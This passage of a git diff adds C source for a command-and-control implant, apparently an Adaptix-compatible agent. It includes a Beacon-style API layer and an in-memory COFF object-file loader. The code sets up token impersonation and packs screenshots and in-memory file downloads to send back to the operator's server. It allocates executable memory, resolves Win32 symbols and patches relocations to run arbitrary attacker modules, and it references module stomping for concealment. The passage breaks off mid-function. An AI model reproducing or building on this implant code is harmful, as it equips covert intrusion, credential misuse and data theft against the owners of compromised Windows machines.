* already knows the size (e.g. a fixed-size struct). */ +FUNC CHAR* BeaconDataPtr( datap* parser, INT size ) { + if ( size <= 0 || size > parser->length ) return NULL; + CHAR* ptr = parser->buffer; + parser->buffer += size; + parser->length -= size; + return ptr; +} + +/* ax.bof_pack() / CS bof_pack() prefix the packed args with a 4-byte LE total-length + * header before the first field. Skip those 4 bytes so BeaconDataExtract/Int read + * the actual field sequence. This matches the public CS beacon.h reference. */ +FUNC VOID BeaconDataParse( datap* parser, CHAR* buffer, INT size ) { + INT header = ( size >= 4 ) ? 4 : 0; + parser->original = buffer + header; + parser->buffer = buffer + header; + parser->length = size - header; + parser->size = size - header; +} + +FUNC INT BeaconDataInt( datap* parser ) { + if ( parser->length < 4 ) return 0; + INT val = (INT)( (BYTE)parser->buffer[0] + | ( (BYTE)parser->buffer[1] << 8 ) + | ( (BYTE)parser->buffer[2] << 16 ) + | ( (BYTE)parser->buffer[3] << 24 ) ); + parser->buffer += 4; + parser->length -= 4; + return val; +} + +FUNC SHORT BeaconDataShort( datap* parser ) { + if ( parser->length < 2 ) return 0; + SHORT val = (SHORT)( (BYTE)parser->buffer[0] | ( (BYTE)parser->buffer[1] << 8 ) ); + parser->buffer += 2; + parser->length -= 2; + return val; +} + +FUNC INT BeaconDataLength( datap* parser ) { + return parser->length; +} + +/* Extract reads a 4-byte LE length prefix then returns a pointer into the buffer. */ +FUNC CHAR* BeaconDataExtract( datap* parser, INT* size ) { + if ( parser->length < 4 ) return NULL; + INT len = BeaconDataInt( parser ); + if ( len < 0 || len > parser->length ) return NULL; + CHAR* ptr = parser->buffer; + parser->buffer += len; + parser->length -= len; + if ( size ) *size = len; + return ptr; +} + +/* ========= [ utility ] ========= */ + +FUNC BOOL BeaconIsAdmin( VOID ) { + return FALSE; /* Phase 7A stub */ +} + +FUNC BOOL BeaconUseToken( HANDLE token ) { + G_INSTANCE; + if ( !Nax || !Nax->Advapi32.ImpersonateLoggedOnUser ) return FALSE; + return Nax->Advapi32.ImpersonateLoggedOnUser( token ); +} + +FUNC VOID BeaconRevertToken( VOID ) { + G_INSTANCE; + if ( Nax && Nax->Advapi32.RevertToSelf ) + Nax->Advapi32.RevertToSelf(); +} + +FUNC VOID BeaconGetSpawnTo( BOOL x86, CHAR* buffer, INT length ) { + (void)x86; (void)buffer; (void)length; + /* Phase 7A stub */ +} + +FUNC BOOL BeaconInformation( PVOID info ) { + (void)info; + return FALSE; /* Phase 7A stub */ +} + +/* toWideChar - thin wrapper around MultiByteToWideChar; widely used by BOFs */ +FUNC BOOL toWideChar( CHAR* src, WCHAR* dst, INT max ) { + G_INSTANCE; + if ( !Nax || !src || !dst || max <= 0 ) return FALSE; + INT n = Nax->Kernel32.MultiByteToWideChar( CP_ACP, 0, src, -1, dst, max ); + return ( n > 0 ); +} + +/* ========= [ Adaptix extensions ] ========= */ + +/* Helper: write 4-byte LE integer - avoids pulling in Packer.c from the unity build. */ +static VOID AxW32( PBYTE p, UINT32 v ) { + p[0] = (BYTE)v; p[1] = (BYTE)(v>>8); p[2] = (BYTE)(v>>16); p[3] = (BYTE)(v>>24); +} + +/* AxBofMediaAppend - allocate a NAX_BOF_MEDIA node and prepend to MediaHead. */ +static VOID AxBofMediaAppend( PNAX_INSTANCE Nax, PBYTE data, UINT32 len ) { + NAX_BOF_MEDIA* node = (NAX_BOF_MEDIA*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, sizeof( NAX_BOF_MEDIA ) ); + if ( !node ) { Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, data ); return; } + node->Data = data; + node->Len = len; + node->Next = Nax->BofCtx.MediaHead; + Nax->BofCtx.MediaHead = node; +} + +/* AxAddScreenshot - sends a screenshot image back to the Adaptix server. + * Packs as: [0x81][note_len(4LE)][note][img_len(4LE)][img] + * Appended to BofCtx.MediaHead so multiple media per BOF are supported. */ +FUNC VOID AxAddScreenshot( CHAR* note, CHAR* data, INT len ) { + G_INSTANCE; + if ( !Nax || !data || len <= 0 ) return; + + UINT32 note_len = 0; + if ( note ) { const PCHAR p = note; while ( p[note_len] ) note_len++; } + UINT32 total = 1u + 4u + note_len + 4u + (UINT32)len; + + PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total ); + if ( !buf ) return; + + PBYTE p = buf; + *p++ = CALLBACK_AX_SCREENSHOT; + AxW32( p, note_len ); p += 4; + if ( note_len ) { MmCopy( p, note, note_len ); p += note_len; } + AxW32( p, (UINT32)len ); p += 4; + MmCopy( p, data, (UINT32)len ); + + AxBofMediaAppend( Nax, buf, total ); +} + +/* AxDownloadMemory - sends a file download back to the Adaptix server. + * Packs as: [0x82][name_len(4LE)][name][data_len(4LE)][data] + * Appended to BofCtx.MediaHead so multiple downloads per BOF are supported. */ +FUNC VOID AxDownloadMemory( CHAR* filename, CHAR* data, INT len ) { + G_INSTANCE; + if ( !Nax || !data || len <= 0 ) return; + + UINT32 name_len = 0; + if ( filename ) { const PCHAR p = filename; while ( p[name_len] ) name_len++; } + UINT32 total = 1u + 4u + name_len + 4u + (UINT32)len; + + PBYTE buf = (PBYTE)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, total ); + if ( !buf ) return; + + PBYTE p = buf; + *p++ = CALLBACK_AX_DOWNLOAD_MEM; + AxW32( p, name_len ); p += 4; + if ( name_len ) { MmCopy( p, filename, name_len ); p += name_len; } + AxW32( p, (UINT32)len ); p += 4; + MmCopy( p, data, (UINT32)len ); + + AxBofMediaAppend( Nax, buf, total ); +} + +/* ========= [ async BOF APIs ] ========= */ + +FUNC VOID BeaconWakeup( VOID ) { + G_INSTANCE; + if ( !Nax || !Nax->JobWakeEvent ) return; + Nax->Kernel32.SetEvent( Nax->JobWakeEvent ); +} + +FUNC HANDLE BeaconGetStopJobEvent( VOID ) { + G_INSTANCE; + if ( !Nax || !Nax->CurrentJob ) return NULL; + return Nax->CurrentJob->hStopEvent; +} + +/* ========= [ format buffer ] ========= */ + +FUNC VOID BeaconFormatAlloc( formatp* format, INT maxsz ) { + G_INSTANCE; + if ( !Nax || maxsz <= 0 ) { format->original = NULL; return; } + format->original = (CHAR*)Nax->Ntdll.RtlAllocateHeap( Nax->Heap, 0, (SIZE_T)maxsz ); + format->buffer = format->original; + format->length = 0; + format->size = maxsz; +} + +FUNC VOID BeaconFormatReset( formatp* format ) { + format->buffer = format->original; + format->length = 0; + if ( format->original && format->size > 0 ) + format->original[0] = '\0'; +} + +FUNC VOID BeaconFormatFree( formatp* format ) { + G_INSTANCE; + if ( !Nax || !format->original ) return; + Nax->Ntdll.RtlFreeHeap( Nax->Heap, 0, format->original ); + format->original = NULL; + format->buffer = NULL; + format->length = 0; + format->size = 0; +} + +FUNC VOID BeaconFormatAppend( formatp* format, CHAR* text, INT len ) { + if ( !format->original || format->length + len >= format->size ) return; + MmCopy( format->buffer, text, (UINT32)len ); + format->buffer += len; + format->length += len; +} + +FUNC VOID BeaconFormatPrintf( formatp* format, CHAR* fmt, ... ) { + G_INSTANCE; + if ( !Nax || !format->original ) return; + CHAR buf[512]; + __builtin_va_list args; + __builtin_va_start( args, fmt ); + INT n = Nax->Ntdll._vsnprintf( buf, sizeof( buf ) - 1, fmt, args ); + __builtin_va_end( args ); + if ( n > 0 ) BeaconFormatAppend( format, buf, n ); +} + +FUNC CHAR* BeaconFormatToString( formatp* format, INT* size ) { + if ( size ) *size = format->length; + return format->original; +} + +FUNC VOID BeaconFormatInt( formatp* format, INT value ) { + /* Pack as 4-byte big-endian (network order - Cobalt Strike convention) */ + CHAR buf[4]; + buf[0] = (CHAR)( ( value >> 24 ) & 0xFF ); + buf[1] = (CHAR)( ( value >> 16 ) & 0xFF ); + buf[2] = (CHAR)( ( value >> 8 ) & 0xFF ); + buf[3] = (CHAR)( value & 0xFF ); + BeaconFormatAppend( format, buf, 4 ); +} diff --git a/src_beacon/src/Bof/Loader.c b/src_beacon/src/Bof/Loader.c new file mode 100644 index 0000000..66005b8 --- /dev/null +++ b/src_beacon/src/Bof/Loader.c @@ -0,0 +1,773 @@ +/* beacon/src/Bof/Loader.c [unity build - includes Api.c + Stomp.c] + * + * All three source files (Loader + Api + Stomp) are compiled as ONE translation + * unit so that NaxBofInitApiTable's reference to BeaconOutput, BeaconDataParse + * etc. are INTRA-unit. Cross-unit references on MinGW PE targets produce + * .refptr.* stubs that live outside .text; since we extract only .text for the + * shellcode binary those stubs are unavailable at runtime and the addresses come + * out as the link-time offsets (e.g. 0x43AA) instead of runtime addresses. + * A single TU forces direct lea rip-relative addressing - no .refptr.* needed. */ + +#include "Nax.h" +#include "Common.h" +#include "Bof.h" + +/* ---- pull in Api.c and Stomp.c as part of this translation unit ---- + * Define unity-build guard so their Macros.h/Instance.h guards are skipped + * (they're already in scope from the includes above). */ +#define _NAX_BOF_UNITY_BUILD_ +#include "Api.c" +#include "Stomp.c" +#undef _NAX_BOF_UNITY_BUILD_ + +/* ========= [ helpers ] ========= */ + +/* Get the symbol's name - handles both short (≤8 bytes embedded) and long (string table). */ +static PCHAR SymName( PCOF_SYMBOL sym, PCHAR strtab ) { + if ( sym->Name.Short == 0 ) + return strtab + sym->Name.Long; + return sym->cName; +} + +/* NaxHashStrMod: FNV1a-32 of 'len' bytes from str, lowercased, then ".dll" appended. + * Used to match BOF Win32 symbol module names (e.g. "KERNEL32") against the PEB. */ +static UINT32 NaxHashStrMod( const PCHAR str, UINT32 len ) { + UINT32 h = 0x811C9DC5u; + for ( UINT32 i = 0; i < len; i++ ) { + BYTE c = (BYTE)str[i]; + if ( c >= 'A' && c <= 'Z' ) c += 0x20; + h ^= c; + h *= 0x01000193u; + } + CHAR dll[] = { '.', 'd', 'l', 'l', '\0' }; + for ( INT i = 0; dll[i]; i++ ) { + h ^= (BYTE)dll[i]; + h *= 0x01000193u; + } + return h; +} + +/* ========= [ Beacon API table ] ========= */ + +/* Macro forces separate runtime lea/mov per entry - never uses compound literal + * struct init which the compiler may lay out in .data with link-time addresses. */ +#define _API(i, h, fn) do { tbl[(i)].Hash = (h); tbl[(i)].Proc = (PVOID)(fn); } while(0) + +static VOID NaxBofInitApiTable( NAX_BOF_API* tbl, PNAX_INSTANCE Nax ) { + _API( 0, H_BOF_BEACONDATAPARSE, BeaconDataParse ); + _API( 1, H_BOF_BEACONDATAINT, BeaconDataInt ); + _API( 2, H_BOF_BEACONDATASHORT, BeaconDataShort ); + _API( 3, H_BOF_BEACONDATALENGTH, BeaconDataLength ); + _API( 4, H_BOF_BEACONDATAEXTRACT, BeaconDataExtract ); + _API( 5, H_BOF_BEACONOUTPUT, BeaconOutput ); + _API( 6, H_BOF_BEACONPRINTF, BeaconPrintf ); + _API( 7, H_BOF_BEACONISADMIN, BeaconIsAdmin ); + _API( 8, H_BOF_BEACONFORMATALLOC, BeaconFormatAlloc ); + _API( 9, H_BOF_BEACONFORMATRESET, BeaconFormatReset ); + _API( 10, H_BOF_BEACONFORMATFREE, BeaconFormatFree ); + _API( 11, H_BOF_BEACONFORMATAPPEND, BeaconFormatAppend ); + _API( 12, H_BOF_BEACONFORMATPRINTF, BeaconFormatPrintf ); + _API( 13, H_BOF_BEACONFORMATTOSTRING, BeaconFormatToString ); + _API( 14, H_BOF_BEACONFORMATINT, BeaconFormatInt ); + _API( 15, H_BOF_BEACONDATAPTR, BeaconDataPtr ); + _API( 16, H_BOF_BEACONUSETOKEN, BeaconUseToken ); + _API( 17, H_BOF_BEACONREVERTTOKEN, BeaconRevertToken ); + _API( 18, H_BOF_BEACONGETSPAWNTO, BeaconGetSpawnTo ); + _API( 19, H_BOF_BEACONINFORMATION, BeaconInformation ); + _API( 20, H_BOF_TOWIDECHAR, toWideChar ); + _API( 21, H_BOF_AXADDSCREENSHOT, AxAddScreenshot ); + _API( 22, H_BOF_AXDOWNLOADMEMORY, AxDownloadMemory ); + /* Win32 proxy functions - bare LoadLibraryA/GetProcAddress/etc. from + * generate __imp_LoadLibraryA COFF symbols with no MODULE$ prefix. */ + _API( 23, H_BOF_LOADLIBRARYA, Nax->Kernel32.LoadLibraryA ); + _API( 24, H_BOF_GETPROCADDRESS, Nax->Kernel32.GetProcAddress ); + _API( 25, H_BOF_GETMODULEHANDLEA, Nax->Kernel32.GetModuleHandleA ); + _API( 26, H_BOF_FREELIBRARY, Nax->Kernel32.FreeLibrary ); + /* async BOF APIs */ + _API( 27, H_BOF_BEACONWAKEUP, BeaconWakeup ); + _API( 28, H_BOF_BEACONGETSTOPJOBEVENT, BeaconGetStopJobEvent ); +} +#undef _API + +/* ========= [ external symbol resolution ] ========= */ + +static PVOID NaxBofResolveExternal( PNAX_INSTANCE Nax, PCHAR sym_name, + NAX_BOF_API* bofApiTable ) { + /* ---- Beacon API lookup (no '$' separator) ---- */ + UINT32 sym_hash = NaxHashStr( sym_name ); + for ( INT i = 0; i < NAX_BOF_API_COUNT; i++ ) { + if ( bofApiTable[i].Hash == sym_hash ) { + NaxDbg( Nax, "[bof] sym '%s' -> BeaconAPI[%d] %p", sym_name, i, bofApiTable[i].Proc ); + return bofApiTable[i].Proc; + } + } + + /* ---- Win32 API: MODULE$FUNCTION ---- */ + UINT32 mod_len = 0; + while ( sym_name[ mod_len ] && sym_name[ mod_len ] != '$' ) mod_len++; + if ( sym_name[ mod_len ] != '$' ) { + /* Bare Win32 symbol (no MODULE$ prefix) - try kernel32 via GetProcAddress. + * Handles __imp_* symbols from declarations that aren't in the + * beacon API table (e.g. HeapAlloc, VirtualAlloc, etc.). */ + PVOID proc = Nax->Kernel32.GetProcAddress( Nax->Kernel32.Handle, sym_name ); + NaxDbg( Nax, "[bof] sym '%s' -> bare k32 fallback %p", sym_name, proc ); + return proc; + } + + PCHAR func_name = sym_name + mod_len + 1; + UINT32 mod_hash = NaxHashStrMod( sym_name, mod_len ); + + PVOID hMod = NaxGetModule( mod_hash ); + if ( !hMod ) { + /* Build lowercase CHAR module name for LoadLibraryA */ + CHAR mod_buf[64]; + UINT32 i; + for ( i = 0; i < mod_len && i < 59; i++ ) { + CHAR c = sym_name[i]; + if ( c >= 'A' && c <= 'Z' ) c += 0x20; + mod_buf[i] = c; + } + mod_buf[i++] = '.'; mod_buf[i++] = 'd'; + mod_buf[i++] = 'l'; mod_buf[i++] = 'l'; + mod_buf[i] = '\0'; + NaxDbg( Nax, "[bof] sym '%s' -> LoadLibraryA('%s')", sym_name, mod_buf ); + hMod = Nax->Kernel32.LoadLibraryA( mod_buf ); + } + if ( !hMod ) { + NaxDbg( Nax, "[bof] sym '%s' -> module NOT FOUND", sym_name ); + return NULL; + } + + /* GetProcAddress handles forwarded exports (e.g. ole32!CreateStreamOnHGlobal → + * combase) that NaxGetProc misses when the target module isn't pre-loaded. + * BOF symbol names are available as strings so no hash lookup is needed. */ + PVOID proc = Nax->Kernel32.GetProcAddress( hMod, func_name ); + NaxDbg( Nax, "[bof] sym '%s' -> %p (mod=%p)", sym_name, proc, hMod ); + return proc; +} + +/* ========= [ section allocation ] ========= */ + +/* NON-STOMP: MEM_TOP_DOWN places all sections near the DLLs at 0x7FF9... so + * that REL32 displacements stay within ±2 GB. STOMP: NaxBofStompAlloc uses + * StompAllocNear to place non-.text sections + mapFunctions adjacent to the + * DLL image (also within ±2 GB). + * image_base = MINIMUM section address so all ADDR32NB RVAs are non-negative. */ +#define BOF_ALLOC_FLAGS (MEM_COMMIT | MEM_RESERVE | MEM_TOP_DOWN) + +/* Allocate mapFunctions AFTER sections so all allocations land in the same + * memory region. Allocating it first (with MEM_TOP_DOWN) places it at + * 0x7FF8... while sections land at 0x1ECEC... - 6TB apart, 32-bit REL32 + * overflows. Allocating last keeps everything within ~400KB of each other. */ +static INT NaxBofAllocSections( PNAX_INSTANCE Nax, PBYTE bof, + PCOF_HEADER hdr, PCOF_SECTION sections, + PVOID* mapSections, PVOID* mf_out, + BOOL* stomped ) { + NaxDbg( Nax, "[bof] alloc: NtAllocVMem=%p", Nax->Ntdll.NtAllocateVirtualMemory ); + + if ( NaxBofStompAlloc( Nax, bof, hdr, sections, mapSections, mf_out ) ) { + *stomped = TRUE; + NaxDbg( Nax, "[bof] stomp mapFunctions=%p", *mf_out ); + return NAX_OK; + } + *stomped = FALSE; + + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + PCOF_SECTION s = sections + i; + + /* Use VirtualSize for sections with no raw data (.bss = zero-init globals). + * Without this, .bss is NULL and BOF globals that should be 0 at entry + * are at garbage/NULL addresses → corrupted counters, crashes. */ + UINT32 raw_size = s->SizeOfRawData; + UINT32 virt_size = s->VirtualSize; + UINT32 need = ( raw_size > 0 ) ? raw_size : virt_size; + + if ( need == 0 ) { + mapSections[i] = NULL; + NaxDbg( Nax, "[bof] sec[%d] '%.8s' skip (raw=%u virt=%u)", + (INT)i, s->Name, raw_size, virt_size ); + continue; + } + + PVOID base = NULL; + SIZE_T alloc = (SIZE_T)need + 16; + NTSTATUS st = Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &base, 0, &alloc, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE ); + + NaxDbg( Nax, "[bof] sec[%d] '%.8s' alloc raw=%u virt=%u -> %p (st=0x%x)", + (INT)i, s->Name, raw_size, virt_size, base, (UINT32)st ); + + if ( !NT_SUCCESS( st ) ) { + for ( UINT16 j = 0; j < i; j++ ) { + if ( mapSections[j] ) { + SIZE_T sz = 0; PVOID b = mapSections[j]; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &b, &sz, MEM_RELEASE ); + mapSections[j] = NULL; + } + } + return NAX_ERR_FAIL; + } + + mapSections[i] = base; + + /* Copy raw bytes for ALL sections that have them, including writable (.data). + * NtAllocateVirtualMemory zero-initialises; for .bss-style sections + * (raw=0, virt>0) there is nothing to copy and they stay zeroed. + * Do NOT skip writable sections: initialized globals belong in .data and + * zeroing them corrupts the BOF's startup state. */ + if ( s->PointerToRawData && raw_size ) + MmCopy( base, bof + s->PointerToRawData, raw_size ); + } + + /* Allocate mapFunctions AFTER all sections so it lands in the same + * memory region (within ~400 KB of .text, safe for 32-bit REL32). */ + PVOID mf = NULL; + SIZE_T mfs = 4096; + Nax->Ntdll.NtAllocateVirtualMemory( NtCurrentProcess(), &mf, 0, &mfs, BOF_ALLOC_FLAGS, PAGE_EXECUTE_READWRITE ); + if ( mf ) MmZero( mf, mfs ); + *mf_out = mf; + NaxDbg( Nax, "[bof] mapFunctions=%p (dist from .text: 0x%llx)", + mf, mf ? (unsigned long long)((ULONG_PTR)mf - (ULONG_PTR)mapSections[0]) : 0 ); + return NAX_OK; +} + +/* ========= [ cleanup ] ========= */ + +static VOID NaxBofCleanupSections( PNAX_INSTANCE Nax, PVOID* mapSections, + UINT16 numSections, BOOL stomped ) { + if ( stomped ) { + NaxBofStompFree( Nax, mapSections, numSections ); + return; + } + for ( UINT16 i = 0; i < numSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( mapSections[i] ) { + PVOID base = mapSections[i]; + SIZE_T sz = 0; + Nax->Ntdll.NtFreeVirtualMemory( NtCurrentProcess(), &base, &sz, MEM_RELEASE ); + mapSections[i] = NULL; + } + } +} + +/* ========= [ relocation processing ] ========= */ + +/* mapFunctions: MEM_TOP_DOWN buffer for external-symbol IAT slots. + * External REL32 calls (FF 15, __imp__*) patch the displacement to point here. + * *mf_idx tracks the next free 8-byte slot. */ +static INT NaxBofProcessRelocations( PNAX_INSTANCE Nax, PBYTE bof, + PCOF_HEADER hdr, PCOF_SECTION sections, + PCOF_SYMBOL symtab, PCHAR strtab, + PVOID* mapSections, + NAX_BOF_API* bofApiTable, + PUINT64 mapFunctions, UINT32* mf_idx, + ULONG_PTR image_base ) { + for ( UINT16 si = 0; si < hdr->NumberOfSections && si < BOF_MAX_SECTIONS; si++ ) { + PCOF_SECTION s = sections + si; + if ( !s->NumberOfRelocations || !s->PointerToRelocations ) continue; + if ( !mapSections[si] ) continue; + + NaxDbg( Nax, "[bof] reloc sec[%d] '%.8s' %u relocs", (INT)si, s->Name, (UINT32)s->NumberOfRelocations ); + + PCOF_RELOCATION relocs = (PCOF_RELOCATION)( bof + s->PointerToRelocations ); + + for ( UINT16 ri = 0; ri < s->NumberOfRelocations; ri++ ) { + PCOF_RELOCATION r = relocs + ri; + PCOF_SYMBOL sym = symtab + r->SymbolTableIndex; + PBYTE loc = (PBYTE)mapSections[si] + r->VirtualAddress; + + PVOID sym_addr = NULL; + + if ( sym->SectionNumber > 0 ) { + INT secIdx = sym->SectionNumber - 1; + if ( secIdx >= BOF_MAX_SECTIONS || !mapSections[secIdx] ) continue; + sym_addr = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value ); + } else { + PCHAR name = SymName( sym, strtab ); + + /* Skip __imp_ prefix (6 bytes) */ + if ( name[0] == '_' && name[1] == '_' && + name[2] == 'i' && name[3] == 'm' && + name[4] == 'p' && name[5] == '_' ) + name += 6; + + sym_addr = NaxBofResolveExternal( Nax, name, bofApiTable ); + if ( !sym_addr ) { + UINT32 nlen = NaxStrLen( name ); + NaxDbg( Nax, "[bof] UNRESOLVED symbol: '%s'", name ); + BeaconOutput( CALLBACK_ERROR, name, (INT)nlen ); + return NAX_ERR_FAIL; + } + } + + /* Apply relocation patch */ + switch ( r->Type ) { +#if defined(__x86_64__) || defined(_WIN64) + case IMAGE_REL_AMD64_ADDR64: + *((UINT64*)loc) += (UINT64)(ULONG_PTR)sym_addr; + break; + case IMAGE_REL_AMD64_ADDR32NB: { + /* RVA relative to image_base (the lowest allocated section address). + * Using the minimum address ensures all RVAs are non-negative UINT32. + * With MEM_TOP_DOWN, .text is at the HIGHEST address; using mapSections[0] + * instead would produce negative values for all sections below .text, + * which corrupts .pdata RUNTIME_FUNCTION UnwindInfoAddress entries and + * makes exception dispatch crash rather than unwind correctly. */ + INT32 cur; + MmCopy( &cur, loc, 4 ); + cur += (INT32)( (ULONG_PTR)sym_addr - image_base ); + MmCopy( loc, &cur, 4 ); + break; + } + case IMAGE_REL_AMD64_REL32: + case IMAGE_REL_AMD64_REL32_1: + case IMAGE_REL_AMD64_REL32_2: + case IMAGE_REL_AMD64_REL32_3: + case IMAGE_REL_AMD64_REL32_4: + case IMAGE_REL_AMD64_REL32_5: { + UINT32 delta = r->Type - IMAGE_REL_AMD64_REL32; + INT32 addend = 0; + /* COFF spec: the 4 bytes at the relocation site are a signed addend. + * Both COFFLoader and Kharon include it in the displacement formula. + * Omitting it produces wrong addresses for any non-zero addend + * (e.g. RIP-relative access to the middle of a static array). */ + MmCopy( &addend, loc, 4 ); + + PVOID target; + + if ( sym->SectionNumber > 0 || !mapFunctions ) { + target = sym_addr; + } else { + /* External symbol via __imp_* (DECLSPEC_IMPORT, FF15 indirect call). + * Store the 64-bit function VA in the next mapFunctions slot. + * The disp32 points to that slot - one extra indirection, but the + * slot is in the same TOP_DOWN range so the ±2 GB limit is safe. */ + if ( *mf_idx < 512 ) { + mapFunctions[ *mf_idx ] = (UINT64)(ULONG_PTR)sym_addr; + target = (PVOID)( mapFunctions + *mf_idx ); + (*mf_idx)++; + } else { + target = sym_addr; + } + } + + *((UINT32*)loc) = (UINT32)( addend + (ULONG_PTR)target + - (ULONG_PTR)( loc + 4 + delta ) ); + break; + } +#else + case IMAGE_REL_I386_DIR32: + *((UINT32*)loc) += (UINT32)(ULONG_PTR)sym_addr; + break; + case IMAGE_REL_I386_REL32: + *((UINT32*)loc) += (UINT32)( (ULONG_PTR)sym_addr - (ULONG_PTR)( loc + 4 ) ); + break; +#endif + default: + NaxDbg( Nax, "[bof] unknown reloc type 0x%x in sec[%d]", (UINT32)r->Type, (INT)si ); + break; + } + } + } + return NAX_OK; +} + +/* ========= [ entry point search ] ========= */ + +static PVOID NaxBofFindEntry( PNAX_INSTANCE Nax, PCOF_HEADER hdr, PCOF_SYMBOL symtab, + PCHAR strtab, PVOID* mapSections ) { + for ( UINT32 i = 0; i < hdr->NumberOfSymbols; i++ ) { + PCOF_SYMBOL sym = symtab + i; + if ( sym->SectionNumber <= 0 ) { + i += sym->NumberOfAuxSymbols; + continue; + } + PCHAR name = SymName( sym, strtab ); + + BOOL match = ( name[0] == 'g' && name[1] == 'o' && name[2] == '\0' ); +#if !defined(__x86_64__) && !defined(_WIN64) + if ( !match ) + match = ( name[0] == '_' && name[1] == 'g' && name[2] == 'o' && name[3] == '\0' ); +#endif + if ( match ) { + INT secIdx = sym->SectionNumber - 1; + if ( secIdx < BOF_MAX_SECTIONS && mapSections[secIdx] ) { + PVOID entry = (PVOID)( (ULONG_PTR)mapSections[secIdx] + sym->Value ); + NaxDbg( Nax, "[bof] entry 'go' found: sec[%d]+0x%x = %p", secIdx, (UINT32)sym->Value, entry ); + return entry; + } + } + i += sym->NumberOfAuxSymbols; + } + NaxDbg( Nax, "[bof] entry 'go' NOT FOUND in %u symbols", (UINT32)hdr->NumberOfSymbols ); + return NULL; +} + +/* ========= [ public entry point ] ========= */ + +FUNC INT NaxBofExecute( PNAX_INSTANCE Nax, + PBYTE bof, UINT32 bof_size, + PBYTE user_args, UINT32 user_args_size ) { + if ( bof_size < sizeof( COF_HEADER ) ) return NAX_ERR_WIRE; + + PCOF_HEADER hdr = (PCOF_HEADER)bof; + PCOF_SECTION sections = (PCOF_SECTION)( bof + sizeof( COF_HEADER ) ); + PCOF_SYMBOL symtab = (PCOF_SYMBOL)( bof + hdr->PointerToSymbolTable ); + PCHAR strtab = (PCHAR)( symtab + hdr->NumberOfSymbols ); + + NaxDbg( Nax, "[bof] execute: %u bytes machine=0x%04x sections=%u symbols=%u", + bof_size, (UINT32)hdr->Machine, (UINT32)hdr->NumberOfSections, (UINT32)hdr->NumberOfSymbols ); + + if ( hdr->Machine != COF_MACHINE_AMD64 ) { + NaxDbg( Nax, "[bof] wrong machine type 0x%04x (expected 0x8664)", (UINT32)hdr->Machine ); + return NAX_ERR_INVAL; + } + + NAX_BOF_API bofApiTable[ NAX_BOF_API_COUNT ]; + NaxBofInitApiTable( bofApiTable, Nax ); + + PVOID mapSections[ BOF_MAX_SECTIONS ]; + MmZero( mapSections, sizeof( mapSections ) ); + + PVOID mf_base = NULL; + UINT32 mf_idx = 0; + BOOL stomped = FALSE; + + /* ---- 1. allocate sections + mapFunctions (all via AllocSections) ---- */ + NaxDbg( Nax, "[bof] step 1: alloc sections" ); + if ( NaxBofAllocSections( Nax, bof, hdr, sections, mapSections, &mf_base, &stomped ) != NAX_OK ) { + NaxDbg( Nax, "[bof] alloc FAILED" ); + BeaconOutput( CALLBACK_ERROR, "alloc", 5 ); + return NAX_ERR_FAIL; + } + NaxDbg( Nax, "[bof] step 1: alloc OK (stomped=%d)", (INT)stomped ); + + /* Compute image_base = lowest allocated section address. + * MEM_TOP_DOWN gives .text (sec[0]) the highest address; all other sections + * are below it. image_base is the floor so all ADDR32NB RVAs are positive. */ + ULONG_PTR image_base = (ULONG_PTR)~0ULL; + for ( UINT16 i = 0; i < hdr->NumberOfSections && i < BOF_MAX_SECTIONS; i++ ) { + if ( mapSections[i] && (ULONG_PTR)mapSections[i] < image_base ) + image_base = (ULONG_PTR)mapSections[i]; + } + if ( mf_base && (ULONG_PTR)mf_base < image_base ) + image_base = (ULONG_PTR)mf_base; + NaxDbg( Nax, "[bof] image_base=%p (.text offset from base=0x%llx)", + (PVOID)image_base, (unsigned long long)( (ULONG_PTR)mapSections[0] - image_base ) ); + + /* ---- 2. process relocations ---- */ + NaxDbg( Nax, "[bof] step 2: process relocations" ); + if ( NaxBofProcessRelocations( Nax, bof, hdr, sections, + symtab, strtab, mapSections, bofApiTable, + (PUINT64)mf_base, &mf_idx, image_base ) != NAX_OK ) { + NaxDbg( Nax, "[bof] reloc FAILED" ); + NaxBofCleanupSections( Nax, mapSections, hdr->NumberOfSections, stomped ); + if ( mf_base ) { SIZE_T z=0; PVOID b=mf_base; Nax->Ntdll.NtFreeVirtualMemory(NtCurrentProcess(),&b,&z,MEM_RELEASE); } + return NAX_ERR_FAIL; + } + NaxDbg( Nax, "[bof] reloc OK (mapFunctions used=%u slots)", mf_idx ); + + /* ---- 3. register BOF .pdata for clean stack unwinding (stomp) ---- + * Must run BEFORE NaxBofStompProtect flips .text to RX, because + * NaxBofStompPdata copies xdata into the tail of the .text section. */ + PRUNTIME_FUNCTION pdataTable = NULL; + DWORD pdataCount = 0; + BOOL pdataInDll = FALSE; + if ( stomped ) { + for ( UINT16 pi = 0; pi < hdr->NumberOfSections && pi < BOF_MAX_SECTIONS; pi++ ) { + PCOF_SECTION ps = sections + pi; + if ( ps->Name[0] == '.' && ps->Name[1] == 'p' && ps->Name[2] == 'd' && + ps->Name[3] == 'a' && ps->Name[4] == 't' && ps->Name[5] == 'a' && + mapSections[pi] && ps->SizeOfRawData >= 12 ) { + pdataTable = (PRUNTIME_FUNCTION)mapSections[pi]; + pdataCount = ps->SizeOfRawData / sizeof( RUNTIME_FUNCTION ); + + /* Locate xdata section via first .pdata entry's UnwindData */ + PVOID xdataBase = NULL; + ULONG xdataSize = 0; + ULONG_PTR firstUnwindVA = image_base + pdataTable[0].UnwindData; + for ( UINT16 xi = 0; xi < hdr->NumberOfSections && xi < BOF_MAX_SECTIONS; xi++ ) { + if ( !mapSections[xi] ) continue; + UINT32 secSz = sections[xi].SizeOfRawData; + if ( secSz == 0 ) secSz = sections[xi].VirtualSize; + if ( firstUnwindVA >= (ULONG_PTR)mapSections[xi] && + firstUnwindVA < (ULONG_PTR)mapSections[xi] + secSz ) { + xdataBase = mapSections[xi]; + xdataSize = secSz; + break; + } + } + + pdataInDll = NaxBofStompPdata( Nax, pdataTable, pdataCount, image_base, + xdataBase, xdataSize ); + if ( !pdataInDll ) + 